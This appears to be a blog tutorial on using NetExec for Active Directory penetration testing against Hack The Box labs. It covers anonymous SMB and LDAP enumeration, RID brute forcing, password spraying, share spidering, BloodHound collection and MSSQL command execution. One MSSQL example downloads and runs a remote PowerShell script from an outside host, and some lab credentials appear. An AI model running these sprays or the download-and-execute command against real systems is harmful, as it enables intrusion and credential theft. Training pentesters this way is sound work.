# The OSCP Toolkit: NetExec

## The Active Directory Swiss Army Knife

If Ligolo-ng is the tool I want ready the second I need to pivot, NetExec is the tool I want ready the second Active Directory shows up.

NXC is one of the tools I reach for most on an AD box, because it handles so many different jobs without forcing me to switch workflows every five minutes. The easiest way to understand it is by protocol:

```plaintext
nxc smb ...
nxc ldap ...
nxc mssql ...
```

**Same tool. Different protocol. Different job.**

NetExec supports far more than these three, but these are the modules I actually live in:

*   **SMB** for anonymous access checks, users, shares, credential validation, password policy, and hunting through files.
    
*   **LDAP** for checking anonymous access and collecting the domain for BloodHound.
    
*   **MSSQL** for validating SQL credentials and turning SQL access into command execution.
    

Those three alone cover a ridiculous amount of ground.

* * *

## Part 1: The Mental Model

The thing that made NetExec click for me was killing this thought:

> NetExec is an SMB enumeration tool.

It is much closer to this:

> **NetExec is a protocol-aware command center.**

You tell it what protocol you are working with, hand it a target and whatever credentials you currently have, and ask what that access actually buys you.

That matters because AD testing is a *progression*. You usually start with nothing, then pick up valid usernames, then a username and password, then confirm that credential works over SMB, then find a readable share, then pull another credential out of a script, then use LDAP to collect the domain, then discover MSSQL, then realize that SQL account can run OS commands.

NetExec stays with you through almost that entire chain. That is why I call it my AD Swiss Army knife.

* * *

## Part 2: SMB

### The Module I Use the Most

If you learn one NetExec module first, make it SMB. It shows up constantly in Windows and AD environments, and NXC lets you do far more with it than checking whether a password works. With the SMB module you can check anonymous access, enumerate shares and domain users, export user lists, read the password policy, validate credentials, and spider readable shares while auto-downloading files.

Here is how I work a fresh SMB target.

### First, Read the Banner: FQDN, DN, and /etc/hosts

Before any of the enumeration, every `nxc smb` command prints a banner, and it quietly hands you two things worth grabbing on the very first run: the DC hostname and the domain.

```plaintext
SMB  10.129.42.211  445  DC  [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True)
```

`(name:DC)` and `(domain:support.htb)` combine into the fully qualified domain name: `DC.support.htb`. That same domain also gives you the base Distinguished Name that LDAP and BloodHound work in: `support.htb` maps to `DC=support,DC=htb`, and LDAP enumeration will confirm it. This banner is genuinely the fastest way to leak both of those in one shot.

Grab them and drop them into `/etc/hosts` pointing at the target, before you do anything else:

```plaintext
10.129.42.211  support.htb DC.support.htb DC
```

Why this matters so much: your Kali box has no idea how to resolve the internal AD domain, so `support.htb` and `DC.support.htb` mean nothing to it until you tell it. More importantly, **Kerberos is built on hostnames and SPNs, not IP addresses.** The second you touch anything Kerberos based (requesting a TGT, using a ticket, `evil-winrm -k`, Certipy, AD CS attacks, targeted roasting) the tooling expects the FQDN. Point it at a raw IP and Kerberos either errors out or silently falls back to NTLM, which is exactly the kind of failure that eats an hour before you realize DNS was the problem.

Fix `/etc/hosts` once, early, from the first banner NXC prints, and you save yourself that whole class of confusing failures later.

### Always Check Anonymous Access First

Before I try a single username or password, I want to know what the server gives away for free.

Start with a true null session:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/497f86b2-7961-479d-9224-eb83ffe26f79.png align="center")

```plaintext
nxc smb TARGET -u '' -p '' --shares
```

Then try the Guest account with a blank password:

```plaintext
nxc smb TARGET -u 'guest' -p '' --shares
```

I check both because they are not the same thing. The null session asks *"will SMB let me interact with no username or password at all?"* The Guest attempt asks *"will the built-in Guest account get me in without a password?"* One can fail while the other works, so a single failed check is **not** the end of SMB enumeration.

What I care about is whether anything readable comes back:

```plaintext
Share           Permissions
-----           -----------
IPC$
NETLOGON
SYSVOL
Development     READ
Backups         READ
```

`Development` and `Backups` immediately have my attention. That is potentially free access to files before I have cracked, sprayed, or stolen a single credential. **Never assume SMB needs credentials until you actually ask it.**

### \--shares Failed? Still Check --users

This is the SMB check people miss most. Say share enumeration gets denied:

```plaintext
nxc smb TARGET -u '' -p '' --shares
```

It is tempting to call anonymous SMB dead and move on. Not yet. Still try:

```plaintext
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users
```

Listing file shares and enumerating domain users are **different operations**. NXC's `--users` can talk to the Windows SAMR RPC interface over the `\samr` pipe to pull account info, which is the same idea as enumerating users manually with `rpcclient`:

```plaintext
rpcclient -U '' -N TARGET
```

NXC just gives you the fast one-line version. The lesson: **no anonymous share access does not mean no anonymous RPC enumeration.** If RPC permissions are loose, `--shares` can give you nothing while `--users` hands you a list of real domain accounts.

And valid usernames are gold. They feed password spraying, AS-REP roasting, Kerberos testing, credential reuse, and service account hunting. It takes a few seconds. Make the check.

### \--users Empty? Try --rid-brute

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b3b69068-c8ad-4d81-b4a0-35e1ebaf6621.png align="center")

Here is the fallback that matters: **when** `--users` **comes back empty, RID brute forcing can still uncover accounts that** `--users` **missed.** They are two different techniques, so try both during anonymous user enumeration.

`--users` asks SAMR nicely for the account list. `--rid-brute` takes a different route: it walks account RIDs one by one (500, 501, 502, and up) and resolves each SID to a name through LSA lookups. If you have used Impacket's `lookupsid.py`, this is the same idea. That means SAMR enumeration can be restricted and returning nothing while RID brute forcing still resolves real accounts.

```plaintext
nxc smb TARGET -u 'guest' -p '' --rid-brute
```

On HTB's Support box, `guest` with a blank password authenticated, and RID brute forcing walked the entire domain:

```plaintext
SMB  10.129.42.211  445  DC  [+] support.htb\guest:
SMB  10.129.42.211  445  DC  500: SUPPORT\Administrator (SidTypeUser)
SMB  10.129.42.211  445  DC  501: SUPPORT\Guest (SidTypeUser)
SMB  10.129.42.211  445  DC  502: SUPPORT\krbtgt (SidTypeUser)
...
SMB  10.129.42.211  445  DC  1104: SUPPORT\ldap (SidTypeUser)
SMB  10.129.42.211  445  DC  1105: SUPPORT\support (SidTypeUser)
SMB  10.129.42.211  445  DC  1106: SUPPORT\smith.rosario (SidTypeUser)
SMB  10.129.42.211  445  DC  1107: SUPPORT\hernandez.stanley (SidTypeUser)
SMB  10.129.42.211  445  DC  1108: SUPPORT\wilson.shelby (SidTypeUser)
...
SMB  10.129.42.211  445  DC  1120: SUPPORT\ford.victoria (SidTypeUser)
```

The well-known RIDs (500 Administrator, 502 krbtgt) come first, then the domain-created accounts commonly appear in the higher RID ranges, often 1000 and up. Those are the real users you feed into everything downstream. So the rule for anonymous user enum is simple: **run** `--users`**, and if it gives you nothing, run** `--rid-brute` **before you give up.**

### Export the Users Immediately

If `--users` gives you a good list, do not copy names out of the terminal by hand. Write them straight to a file:

```plaintext
nxc smb TARGET -u '' -p '' --users-export users.txt
```

Or once you have credentials:

```plaintext
nxc smb TARGET -u USER -p PASSWORD --users-export users.txt
```

Now `users.txt` is ready to reuse everywhere:

```plaintext
nxc smb TARGET -u users.txt -p 'Password123!'
```

**Enumerate once. Export once. Reuse everywhere.**

### Before Spraying, Check the Password Policy

An underused flag: `--pass-pol`. Before I spray anything, I want to know the lockout and password policy.

```plaintext
nxc smb TARGET -u USER -p PASSWORD --pass-pol
```

I want the lockout threshold, minimum length, password history, max age, and lockout duration, because a spray is not something I run blind. A threshold of **3 attempts** changes everything compared to no lockout at all. So the order is always: users, then policy, then spray carefully.

### Spraying and Credential Reuse

Once I have a user list and a sane read on the policy, SMB is also where I spray. Feed it the file of users and a single password to test:

```plaintext
nxc smb TARGET -u users.txt -p 'Welcome2024!'
```

Or feed it a password list instead of a single value:

```plaintext
nxc smb TARGET -u users.txt -p passwords.txt
```

NXC pairs the credentials and reports each result, flagging valid ones with `[+]`. But by default it can stop chasing a given user once something works, and that is where one flag matters:

```plaintext
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
```

`--continue-on-success` tells NXC to **keep going after it finds a valid login instead of stopping.** That is exactly what you want when you are hunting credential reuse: one password that works on `smith.rosario` might also work on `wilson.shelby` and `west.laura`, and shared local or service passwords are extremely common in AD. Without the flag you can confirm one hit and quietly miss the other five accounts using the same password. With it, you get the full picture of everywhere that credential lands.

Two things to keep in mind. Mind the lockout policy you just pulled, because a password list against every user is a lot of attempts, and `--continue-on-success` does not slow anything down, it just stops short-circuiting. And the same spraying pattern works across the other protocols too (`nxc ldap`, `nxc mssql`, `nxc winrm`), so once you have a working credential you can quickly answer "where else does this work?" by pointing the same list at a different protocol.

### Credential Validation

Once I have a username and password, I come straight back to SMB:

```plaintext
nxc smb TARGET -u USER -p PASSWORD
```

At this point I am not just asking *"is the password valid?"* I am asking *"where does this credential work, and what does it unlock?"* Across an AD box you will collect several credentials, and NXC makes it easy to keep answering that question for each one.

### Share Enumeration with Credentials

If auth works, look at what you can now read:

```plaintext
nxc smb TARGET -u USER -p PASSWORD --shares
```

I care most about custom shares like `Backups`, `Development`, `Finance`, `Scripts`, `Deploy`, or `IT`. Those hold user-created material: scripts, config files, backups, spreadsheets, database configs, keys, old exports. You can browse it all by hand, or let NXC do the boring part.

### spider\_plus: Let NXC Crawl the Shares

This is my favorite SMB module.

```plaintext
nxc smb TARGET -u USER -p PASSWORD -M spider_plus
```

`spider_plus` recursively walks readable shares and records what it finds, writing file metadata like paths, sizes, and timestamps locally. That alone saves a lot of manual navigation. But you usually want to cut the default noise first.

Here is a real run against Support with downloads on and only `IPC$` excluded:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5005b445-e1b9-47a5-abcf-765db9ac9eda.png align="center")

```plaintext
nxc smb 10.129.42.211 -u 'guest' -p '' --shares -M spider_plus -o EXCLUDE_FILTER='IPC$' DOWNLOAD_FLAG=TRUE OUTPUT_FOLDER=. MAX_FILE_SIZE=20000000
```

```plaintext
SPIDER_PLUS  [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS  [*] EXCLUDE_FILTER: ['ipc$']
SPIDER_PLUS  [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS  [*]  MAX_FILE_SIZE: 19.07 MB
SPIDER_PLUS  [+] Saved share-file metadata to "./10.129.42.211.json".
SPIDER_PLUS  [*] SMB Readable Shares:  2 (IPC$, support-tools)
SPIDER_PLUS  [*] Total files found:    7
SPIDER_PLUS  [*] Files filtered:       2
SPIDER_PLUS  [*] Downloads successful: 5
SPIDER_PLUS  [+] All files processed successfully.
```

Two things to read out of that stats block. It dropped the metadata into a JSON named after the target IP, so you always know where the inventory lives. And "Total files found: 7, Files filtered: 2, Downloads successful: 5" is the module telling you it skipped some. Files can be filtered by excluded extensions or the configured size cap, so when downloads come up short, that stats block is where you find out why.

**Filter the noise.** If I am hunting user content, I do not want the spider grinding through every default admin share:

```plaintext
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
```

The module already excludes `print$` and `ipc$` by default, but spelling out the list lets you control exactly what gets skipped. One exception: **do not blindly treat SYSVOL as useless.** It can hold login scripts, deployment scripts, GPP remnants, and policy artifacts, so if that is what I am after, I leave it in. The rule is not "always ignore these," it is "do not crawl what you already know you do not need."

**Actually download files.** By default spider\_plus mostly inventories. To pull eligible files down to Kali, add `DOWNLOAD_FLAG=True`:

```plaintext
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True
```

This is a lifesaver when a share holds 300 files instead of 3. Nobody wants to `cd`, `ls`, `get`, `cd ..` on loop. Once the loot is local, use normal Linux tooling:

```plaintext
grep -Rni 'password' .
grep -Rni 'secret' .
```

Now you are searching files locally instead of poking the remote share over and over.

**Watch MAX\_FILE\_SIZE.** The default is `51200` bytes, about 50 KB, so downloads do not mean *every* file comes down. The module checks size against `MAX_FILE_SIZE` before pulling. Raise it as needed:

```plaintext
# ~10 MB
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760
```

Know that default. Otherwise you enable downloads, see files missing, and wrongly assume the module broke. On a real engagement, hoovering huge amounts of data is a different decision than doing it in a lab, so size accordingly.

**Control where it lands** with `OUTPUT_FOLDER`:

```plaintext
mkdir -p ./spidered
nxc smb TARGET -u USER -p PASSWORD -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered
```

The module organizes everything under that folder by host, share, and remote path instead of dumping it into one giant pile.

**My full spider command** when I have creds and several readable shares:

```plaintext
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
```

That gives me share enumeration, recursive spidering, auto-download, a bigger size limit, a clean output directory, and noise filtering in one shot. It is not doing the pentest for me. It is removing repetitive file wrangling so I can spend my time figuring out which files actually matter.

### SMB Workflow

```plaintext
# Fresh target: the banner leaks (name:) + (domain:), add FQDN + domain to /etc/hosts
# Then check what's free
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares

# Even if shares fail, check users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users

# If --users is empty, RID brute may still work
nxc smb TARGET -u 'guest' -p '' --rid-brute

# Export anything you get
nxc smb TARGET -u '' -p '' --users-export users.txt

# Once creds appear: policy, then validate, then shares
nxc smb TARGET -u USER -p PASSWORD --pass-pol
nxc smb TARGET -u USER -p PASSWORD
nxc smb TARGET -u USER -p PASSWORD --shares

# Spray a user list, keep going to catch reuse
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success

# Then spider and collect
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
```

Check what SMB gives you for free. Do not assume a failed share check means failed RPC enumeration. Turn valid users into a reusable list. Know the policy before you spray. And when a share is full of files, let spider\_plus crawl while you think.

* * *

## Part 3: LDAP

### Two Jobs: Anonymous Enumeration and Domain Collection

Compared to SMB, my LDAP workflow is simple. NetExec has a ton of LDAP options, but in practice I use it for two things: see if the domain allows anonymous LDAP enumeration, and collect the domain for BloodHound once I have credentials. That is basically it.

### Always Check for Anonymous LDAP Bind

Same instinct as anonymous SMB. Before I throw credentials at anything, I want to know what the domain gives up for free:

```plaintext
nxc ldap DC_IP -u '' -p '' --users
```

If it works, `--users` can immediately hand me valid domain accounts, which again feed spraying, AS-REP roasting, Kerberos enumeration, and targeted attacks, all without a password. It is cheap enough that I always try it. If anonymous access is disabled, no big deal, LDAP becomes useful again the moment credentials show up.

### Credentials Obtained? Collect the Domain

Once I have valid domain creds, getting the environment into BloodHound is a top priority. NXC can collect directly:

```plaintext
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
```

One from my notes:

```plaintext
nxc ldap 10.10.10.100 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --bloodhound -d active.htb -c All --dns-server 10.10.10.100
```

Breaking it down:

*   `--bloodhound` runs the collection
    
*   `-d active.htb` sets the domain
    
*   `-c All` requests the full collection set
    
*   `--dns-server 10.10.10.100` uses the DC for DNS, which saves headaches in labs where Kali cannot resolve the internal AD domain
    

NXC supports BloodHound CE collection with methods like `All`, `ACL`, `ADCS`, `Session`, `LocalAdmin`, and `RDP`. Import the result and the domain stops being a list of machines and becomes an attack graph: users, groups, computers, ACLs, sessions, delegation, AD CS, and privilege paths. That is where AD starts to actually make sense.

### Quick Note on RustHound-CE

NXC collects BloodHound data fine, but **RustHound-CE is my external collector of choice**, largely because of LAPS. RustHound reads both legacy `ms-Mcs-AdmPwd` and newer `msLAPS-Password` attributes, so if my collecting account can read the password, it can surface a readable LAPS password mid-collection. That is a hell of a thing to find automatically while you are already mapping the domain.

So NXC LDAP is the convenient option already sitting in front of me, and RustHound-CE is the one I deliberately reach for. It is getting its own Toolkit post later, so I will leave it there.

### LDAP Workflow

```plaintext
# Before creds: see what LDAP gives you for free
nxc ldap DC_IP -u '' -p '' --users

# After creds: map the domain
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
```

Before credentials, enumerate for free. After credentials, map the domain. Keep it simple.

* * *

## Part 4: MSSQL

### Where NXC Really Saves Me Time

MSSQL is one of my favorite quality-of-life wins in NetExec. I do not use it for twenty things. The main reason I reach for it is one question: **I have SQL credentials, can I turn them into OS command execution?**

Start by validating:

```plaintext
nxc mssql TARGET -u USER -p PASSWORD --local-auth
```

From a lab:

```plaintext
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
```

```plaintext
MSSQL  10.129.232.128  1433  DC01  [*] Windows Server 2019 (name:DC01) (domain:sequel.htb)
MSSQL  10.129.232.128  1433  DC01  [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
```

That `(Pwn3d!)` matters. NXC checks `SELECT IS_SRVROLEMEMBER('sysadmin')` during auth, and if the login is a SQL Server sysadmin, it flags it. So I already know I am holding something powerful.

### \-x for Commands

```plaintext
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
```

```plaintext
MSSQL  10.129.232.128  1433  DC01  [+] Executed command via mssqlexec
MSSQL  10.129.232.128  1433  DC01  sequel\sql_svc
```

That is the transition I care about: **SQL credentials to MSSQL auth to OS command execution.** One flag.

### \-X for PowerShell

Uppercase `X` runs PowerShell:

```plaintext
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"
```

Easiest way to remember it: **lowercase** `-x` **is a command, uppercase** `-X` **is PowerShell.**

### NXC Handles xp\_cmdshell for You

This is my favorite part of the module. OS command execution through SQL Server normally rides on `xp_cmdshell`, which is often disabled. Working manually through Impacket's `mssqlclient`, you enable it yourself:

```plaintext
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
```

NetExec removes that friction. When you run `-x`, NXC checks the state of `show advanced options` and `xp_cmdshell`, and if either is disabled and your account can change it, NXC temporarily enables it, runs `exec master..xp_cmdshell 'COMMAND'`, and here is the clean part: **it restores the original state afterward.** If xp\_cmdshell started disabled, NXC re-disables it when it is done. If it was already enabled, NXC leaves it alone. Same logic for `show advanced options`.

So `-x` gives you automatic setup without leaving SQL Server reconfigured after a single command. NXC obviously cannot enable it if your account lacks the privilege, but when the account has it, `-x whoami` becomes my fast *"can this SQL access become OS execution?"* check.

### mssql\_priv: When You Are Not Sysadmin Yet

Not every valid SQL credential lands as `sa`. That is what the `mssql_priv` module is for:

```plaintext
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
```

It looks at the current user's privileges and tries to find a path up. It checks whether you are already sysadmin, whether you can impersonate another login, whether *that* login can impersonate someone else, and whether the chain eventually reaches a sysadmin, plus `db_owner` rights on a trusted database. So it can reason through something like:

```plaintext
low_priv_login  ->  impersonate USER_B  ->  USER_B impersonates USER_C  ->  USER_C is sysadmin
```

It supports `ACTION=enum_priv`, `ACTION=privesc`, and `ACTION=rollback`, defaulting to enumeration. So first I just enumerate:

```plaintext
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
```

If it finds a route and I am authorized to test it:

```plaintext
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=privesc
```

And it can roll the granted sysadmin privilege back:

```plaintext
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv -o ACTION=rollback
```

That turns a pile of manual SQL privilege queries into one question: *does this login have a route to sysadmin?* I do not reach for it as often as `-x` and `-X`, but it is absolutely worth knowing.

### MSSQL Workflow

```plaintext
# Validate. (Pwn3d!) means sysadmin.
nxc mssql TARGET -u USER -p PASSWORD --local-auth

# Command execution
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

# PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"

# Valid but not sysadmin? Look for a privesc path.
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
```

Shortcut: `-x` = command, `-X` = PowerShell, `mssql_priv` = find SQL privilege escalation.

* * *

## How the Three Modules Fit Together

This is the whole point of the post. Do not think of these as disconnected tricks. Think about how they chain through one engagement.

Start with **SMB** and see what is free:

```plaintext
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u '' -p '' --users
```

Maybe anonymous user enumeration works, so export the list. Eventually you get credentials, so check the policy, validate, look at shares, and spider the interesting ones. Somewhere in that loot you pull another credential.

Now move to **LDAP** and map the domain:

```plaintext
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
```

BloodHound shows you the relationships. Eventually you discover **MSSQL**, validate the login, and turn it into execution:

```plaintext
nxc mssql TARGET -u USER -p PASSWORD --local-auth
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami
```

SMB tells you what the Windows environment gives you. LDAP tells you what the domain gives you. MSSQL tells you what the SQL Server gives you. All three run through the same tool, and NXC stays relevant as the engagement changes shape.

* * *

## Quick Reference

**SMB**

```plaintext
# Anonymous / guest shares
nxc smb TARGET -u '' -p '' --shares
nxc smb TARGET -u 'guest' -p '' --shares

# Anonymous / guest users
nxc smb TARGET -u '' -p '' --users
nxc smb TARGET -u 'guest' -p '' --users

# RID brute forcing fallback when --users is empty
nxc smb TARGET -u 'guest' -p '' --rid-brute

# Export users
nxc smb TARGET -u '' -p '' --users-export users.txt

# Password policy
nxc smb TARGET -u USER -p PASSWORD --pass-pol

# Spray a user list with one password, or a password list
nxc smb TARGET -u users.txt -p 'Welcome2024!' --continue-on-success
nxc smb TARGET -u users.txt -p passwords.txt --continue-on-success

# Validate credentials
nxc smb TARGET -u USER -p PASSWORD

# Shares
nxc smb TARGET -u USER -p PASSWORD --shares

# Full spider_plus workflow
nxc smb TARGET -u USER -p PASSWORD --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760 OUTPUT_FOLDER=./spidered EXCLUDE_FILTER='IPC$,print$,C$,ADMIN$,NETLOGON,SYSVOL'
```

**LDAP**

```plaintext
# Anonymous users
nxc ldap DC_IP -u '' -p '' --users

# BloodHound collection
nxc ldap DC_IP -u USER -p PASSWORD --bloodhound -d DOMAIN -c All --dns-server DC_IP
```

**MSSQL**

```plaintext
# Validate SQL credentials
nxc mssql TARGET -u USER -p PASSWORD --local-auth

# Execute command
nxc mssql TARGET -u USER -p PASSWORD --local-auth -x whoami

# Execute PowerShell
nxc mssql TARGET -u USER -p PASSWORD --local-auth -X "POWERSHELL_COMMAND"

# Enumerate SQL privilege escalation
nxc mssql TARGET -u USER -p PASSWORD -M mssql_priv
```

Remember: `-x` = command, `-X` = PowerShell.

* * *

## The One Thing to Remember

NetExec is not valuable because it has a giant pile of flags. It is valuable because it lets you keep moving without constantly switching tools. Check anonymous SMB, enumerate and export users, read the password policy, validate credentials, hunt through shares, pull loot, query LDAP, collect BloodHound data, authenticate to MSSQL, spot sysadmin access, run CMD or PowerShell, and find SQL privesc paths, all from one tool. Then take whatever you learned from one protocol and feed it straight into the next.

Do not try to memorize every NXC flag. Know the job you need done, pick the protocol, give it what you currently know, see what comes back, and keep moving. That is how I actually use it.

For the full attack chains where these techniques show up in context, check out the penetration testing writeups across the rest of [Hack2Harden](https://www.hack2harden.com/).

*Find. Fix. Fortify.*